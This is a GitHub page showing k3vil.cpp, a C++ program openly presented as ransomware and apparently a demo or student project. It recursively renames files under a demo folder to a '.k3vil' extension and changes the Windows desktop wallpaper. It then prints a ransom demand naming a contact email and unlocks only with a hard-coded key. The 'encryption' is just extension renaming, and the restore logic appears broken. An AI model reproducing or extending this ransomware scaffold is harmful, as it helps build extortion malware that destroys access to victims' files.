-
Notifications
You must be signed in to change notification settings - Fork 0
/
k3vil.cpp
198 lines (167 loc) · 5 KB
/
k3vil.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
#include<iostream>
#include<filesystem>
#include<fstream>
#include<windows.h>
#include<conio.h>
using namespace std;
using namespace filesystem;
class K3vil
{
public:
string suffix;
// Ransomware that changes the extension of files
// to the extension k3vil
void ransom(string path)
{
for (const auto & entry : directory_iterator(path))
{
if(entry.is_directory()) //is folder
{
cout << "Folder: ";
cout << entry.path() << endl;
ransom(entry.path().string());
}
else // its a file
{
cout << "Data Attacked: ";
cout << entry.path() <<endl;
rename(entry.path().string(),rename_suffix(entry.path().string()));
}
}
}
//suffix badlane wala func
string rename_suffix(string str)
{
int i,j;
char aux[200];
//cpy str to aux
strcpy(aux,str.c_str());
//find position
for(i=0;i<strlen(aux);i++)
if(aux[i]=='.')
break;
// Add suffix at the end
for(j=0;j<size(suffix);j++)
aux[i+j+1]=suffix[j];
aux[i+j+1]='\0';
return aux;
}
//Adds the file extension to the file
// in order to find the original suffix of file
void add_file_suffix(string path,string str)
{
ofstream out(path.c_str(),ios::binary|ios::app);
for(int i=0;i<str.size();i++)
{
out.put(str[i]);
}
out.put(char(str.size()+48));
out.close();
}
// Extract the file suffix from the file
string get_file_suffix(string path)
{
ifstream in(path, ios::binary);
in.seekg(-1, ios::end);
char c;
in>>c;
in.seekg(-1-(c-48)+1,ios::end);
string str="";
int i, n;
n=c-48-1;
for(i=0;i<n;i++)
{
in>>c;
str+=c;
}
return str;
}
//Adds the file extension to the original file of all files inside the path
void decryption(string path)
{
for (const auto & entry : directory_iterator(path))
{
if(entry.is_directory()) //for folder
{
decryption(entry.path().string());
}
else //for file
{
this->suffix=get_file_suffix(entry.path().string());
rename(entry.path().string(),rename_suffix(entry.path().string()));
}
}
}
};
// Decryption Key process
struct Node {
int data;
Node* next;
};
class LinkedList {
private:
Node* head;
public:
LinkedList() : head(nullptr) {}
void insert(int data) {
Node* newNode = new Node();
newNode->data = data;
newNode->next = head;
head = newNode;
}
bool search(int key) {
Node* current = head;
while (current != nullptr) {
if (current->data == key) {
return true;
}
current = current->next;
}
return false;
}
};
int main()
{
K3vil obj;
obj.suffix="k3vil";
LinkedList list; // key to unlock
list.insert(1345); // key to unlock
// Wallpaper Change process
string wallpaperFile = "/K3vil/data/wall1.png"; // replace with the path to your image
bool result = SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, (void*)wallpaperFile.c_str(), SPIF_UPDATEINIFILE);
char choice;
cout << "Press 'e' to start K3vil = " << endl;
cout << "Press 'd' to start Decryption Process = " << endl;
cout << "//: ";
cin >> choice;
switch(choice){
case 'e':
// To add the suffix inside the file for all files inside the path
obj.ransom("/K3vil/demo"); // Actual ransomware that encrypts files
cout << endl;
cout << "All your desktop files have been encrypted, kindly contact contact@kuz3y.com to get ransom key! " <<endl;
getch();
break;
case 'd':
cout << "Enter your decryption key mailed to you from contact@kuz3y.com = ";
int key;
cin >> key;
if(list.search(key))
{
cout << "Your files are Decrypted";
obj.decryption("/K3vil/demo"); // To add the original suffix inside the file for all files inside the path
getch();
}
else
{
cout << "Enter the correct password to unlock files :)";
getch();
}
break;
default:
cout << "Error! The Choice is not correct";
break;
}
return 0;
}
...